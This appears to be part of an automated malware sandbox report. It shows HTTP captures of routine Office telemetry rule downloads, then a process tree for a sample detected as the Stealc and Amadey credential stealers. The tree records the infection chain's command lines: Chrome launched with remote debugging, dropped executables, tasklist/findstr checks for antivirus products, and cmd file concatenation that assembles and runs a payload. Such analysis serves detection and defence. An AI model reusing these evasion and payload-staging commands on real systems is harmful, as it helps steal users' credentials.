EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-1777c6cb754gvvgfhC1TEBz4rg00000009fg00000000kb2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-185f5d8b95c4bhwphC1NYCs8gw0000000a7000000000gmwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-r1d97b99577l6wbzhC1TEB3fwn00000008zg000000004wgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e99758fe-d01e-0065-348c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-185f5d8b95csd4bwhC1NYCq7dc0000000a1000000000etg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:44 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:44 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 17749f92-a01e-006f-3cf7-3a13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115844Z-r1d97b99577mrt4rhC1TEBftkc00000008m000000000g40c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:44 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:44 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:44 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: f2376ea7-e01e-000c-078c-3a8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115844Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a6000000000frzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:44 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:44 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:44 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: c1a202f8-901e-005b-118c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115844Z-r1d97b99577sdxndhC1TEBec5n00000008v000000000f48g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:44 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	06:57:34
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa40000
File size:	1'801'216 bytes
MD5 hash:	4B517665A74A84DF87D5360AA6560EFB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1794953708.0000000005400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2091184499.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:57:40
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:57:42
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2504,i,10230353253133394527,14038540076738270544,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:58:02
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHCAFIDBKE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:58:02
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:58:02
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsFHCAFIDBKE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFHCAFIDBKE.exe"
Imagebase:	0xf20000
File size:	1'863'680 bytes
MD5 hash:	EBE6DE9BE122D27057536193303F1F89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2162110905.0000000000F21000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2074847079.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:58:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x910000
File size:	1'863'680 bytes
MD5 hash:	EBE6DE9BE122D27057536193303F1F89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2138645260.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2178971570.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:59:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x910000
File size:	1'863'680 bytes
MD5 hash:	EBE6DE9BE122D27057536193303F1F89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2649469909.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.3053677209.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	06:59:08
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe"
Imagebase:	0x400000
File size:	758'801 bytes
MD5 hash:	211DD0CC3DA148C5BC61389693FD284F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 16%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:59:09
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:59:09
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:59:10
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xf30000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:59:10
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x2e0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:59:10
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xf30000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:59:10
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x2e0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:59:11
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 390641
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:59:11
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "ConventionTroopsStudiedTooth" Version
Imagebase:	0x2e0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:59:11
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:59:11
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Wow64 process (32bit):	true
Commandline:	Imposed.com B
Imagebase:	0xd10000
File size:	943'784 bytes
MD5 hash:	78BA0653A340BAC5FF152B21A83626CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	06:59:11
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xde0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:59:15
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe"
Imagebase:	0xf70000
File size:	4'419'072 bytes
MD5 hash:	6C252BD0D2276C27AF37629D8CF891DB
